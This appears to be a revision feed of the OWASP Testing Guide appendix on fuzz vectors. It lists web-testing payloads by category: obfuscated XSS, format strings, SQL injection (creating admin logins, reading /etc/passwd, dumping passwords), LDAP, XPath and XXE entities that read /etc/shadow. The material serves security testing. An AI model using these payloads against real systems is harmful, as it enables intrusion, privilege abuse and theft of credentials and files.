 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt; &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=JaVaScRiPt:alert(&amp;amp;amp;quot;XSS&amp;lt;WBR&amp;gt;&amp;amp;amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMGSRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;&amp;lt;WBR&amp;gt;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;&amp;lt;WBR&amp;gt;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&lt;br /&gt;
 &amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;&amp;lt;WBR&amp;gt;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83&amp;lt;WBR&amp;gt;;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMGSRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;&amp;lt;WBR&amp;gt;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;&amp;lt;WBR&amp;gt;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;&amp;lt;WBR&amp;gt;#0000112&amp;amp;#0000116&amp;amp;#0000058&lt;br /&gt;
 &amp;amp;&amp;lt;WBR&amp;gt;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;&amp;lt;WBR&amp;gt;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;&amp;lt;WBR&amp;gt;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;&amp;lt;WBR&amp;gt;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;           &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMGSRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;&amp;lt;WBR&amp;gt;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;&amp;lt;WBR&amp;gt;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&lt;br /&gt;
 &amp;amp;&amp;lt;WBR&amp;gt;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert(&amp;lt;WBR&amp;gt;'XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert(&amp;lt;WBR&amp;gt;'XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert(&amp;lt;WBR&amp;gt;'XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflows and Format String Errors ===&lt;br /&gt;
&lt;br /&gt;
==== Buffer Overflows (BFO) ====&lt;br /&gt;
&lt;br /&gt;
For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]&lt;br /&gt;
&lt;br /&gt;
Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 5&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 17&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 33&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 65&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 129&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 257&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 513&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 1024&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 2049&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 4097&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 8193&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;A x 12288&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Format String Errors (FSE) ====&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%s%p%x%d&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;.1024d&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%.2049d&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%p%p%p%p&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%x%x%x%x&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%d%d%d%d&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%s%s%s%s&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%99999999999s&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%08x&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%%20d&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%%20n&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%%20x&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%%20s&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%s%s%s%s%s%s%s%s%s%s&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%p%p%p%p%p%p%p%p%p%p&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%s x 129&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%x x 257&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Integer Overflows (INT) ====&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x100&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x1000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x3fffffff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x7ffffffe&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x7fffffff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x80000000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0xfffffffe&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0xffffffff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x10000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;0x100000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]&lt;br /&gt;
&lt;br /&gt;
==== Passive SQL Injection (SQP) ====&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'||(elt(-3+5,bin(15),ord(10),hex(char(45))))&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;||6&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'||'6&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;(||6)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 1=1--&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;OR 1=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR '1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;; OR '1'='1'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%22+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%27+OR+%277659%27%3D%277659&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%22+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%27+--+&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' or 1=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;quot; or 1=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' or 1=1 /*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;or 1=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' or 'a'='a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;quot; or &amp;quot;a&amp;quot;=&amp;quot;a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;') or ('a'='a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Admin' OR '&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' having 1=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' having 1=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' group by userid having 1=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' or 1 in (select @@version)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' union all select @@version--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 'unusual' = 'unusual'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 'something' = 'some'+'thing'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 'text' = N'text'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 'something' like 'some%'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 2 &amp;gt; 1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 'text' &amp;gt; 't'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 'whatever' in ('whatever')&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' OR 2 BETWEEN 1 and 3&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' or username like char(37);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' union select * from users where login = char(114,111,111,116);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' union select &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Password:*/=1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;UNI/**/ON SEL/**/ECT&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'; EXEC ('SEL' + 'ECT US' + 'ER')&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'/**/OR/**/1/**/=/**/1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' or 1/*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%27+OR+%277659%27%3D%277659&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%22+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%27+--+&amp;amp;password=&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login &amp;gt; &lt;br /&gt;
 @var select @var as var into temp end --&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' and 1 in (select var from temp)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' union select 1,load_file('/etc/passwd'),1,1,1;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' and 1=( if((load_file(char(110,46,101,120,116))&amp;lt;&amp;gt;char(39,39)),1,0));&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Active SQL Injection (SQI) ====&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'; exec master..xp_cmdshell 'ping 10.10.1.2'--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;CRATE USER name IDENTIFIED BY 'pass123'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;' ; drop table temp --&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exec sp_addlogin 'name' , 'password'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exec sp_addsrvrolemember 'name' , 'sysadmin'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;GRANT CONNECT TO name; GRANT RESOURCE TO name;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) &lt;br /&gt;
 + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LDAP Injection ===&lt;br /&gt;
&lt;br /&gt;
For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;!&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;(&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%28&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%29&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;amp;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%26&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%21&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%7C&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;*|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%2A%7C&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;*(|(mail=*))&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%2A%28%7C%28mail%3D%2A%29%29&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;*(|(objectclass=*))&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%2A%28%7C%28objectclass%3D%2A%29%29&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;*()|%26'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;admin*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;admin*)((|userPassword=*)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;*)(uid=*))(|(uid=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XPATH Injection ===&lt;br /&gt;
&lt;br /&gt;
For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'+or+'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'+or+''='&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;x'+or+1=1+or+'x'='y&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;*/*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;@*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;count(/child::node())&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;x'+or+name()='username'+or+'x'='y&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XML Injection ===&lt;br /&gt;
&lt;br /&gt;
Details on XML Injection here: [[XML_Injection_Testing_AoC]]&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('gotcha');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foof&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file://c:/boot.ini&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors&amp;diff=14030</id>
		<title>OWASP Testing Guide Appendix C: Fuzz Vectors</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors&amp;diff=14030"/>
				<updated>2006-12-07T18:57:40Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.&lt;br /&gt;
Fuzzing is the &amp;quot;kitchen sink&amp;quot; approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.&lt;br /&gt;
This is the simple part of the discovery phase.&lt;br /&gt;
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.&lt;br /&gt;
&lt;br /&gt;
=== Fuzz Categories ===&lt;br /&gt;
&lt;br /&gt;
In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:&lt;br /&gt;
&lt;br /&gt;
* Recursive fuzzing&lt;br /&gt;
* Replacive fuzzing&lt;br /&gt;
&lt;br /&gt;
We examine and define each category in the sub-sections that follow. &lt;br /&gt;
&lt;br /&gt;
==== Recursive fuzzing ====&lt;br /&gt;
&lt;br /&gt;
Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/8302fa3b&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selecting &amp;quot;8302fa3b&amp;quot; as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/00000000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/11000fff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/ffffffff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Replacive fuzzing ====&lt;br /&gt;
&lt;br /&gt;
Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/8302fa3b&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/&amp;gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&amp;amp;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/'';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified. &lt;br /&gt;
&lt;br /&gt;
The remainder of this appendix presents a number of fuzz vector categories.&lt;br /&gt;
&lt;br /&gt;
=== Cross Site Scripting (XSS) ===&lt;br /&gt;
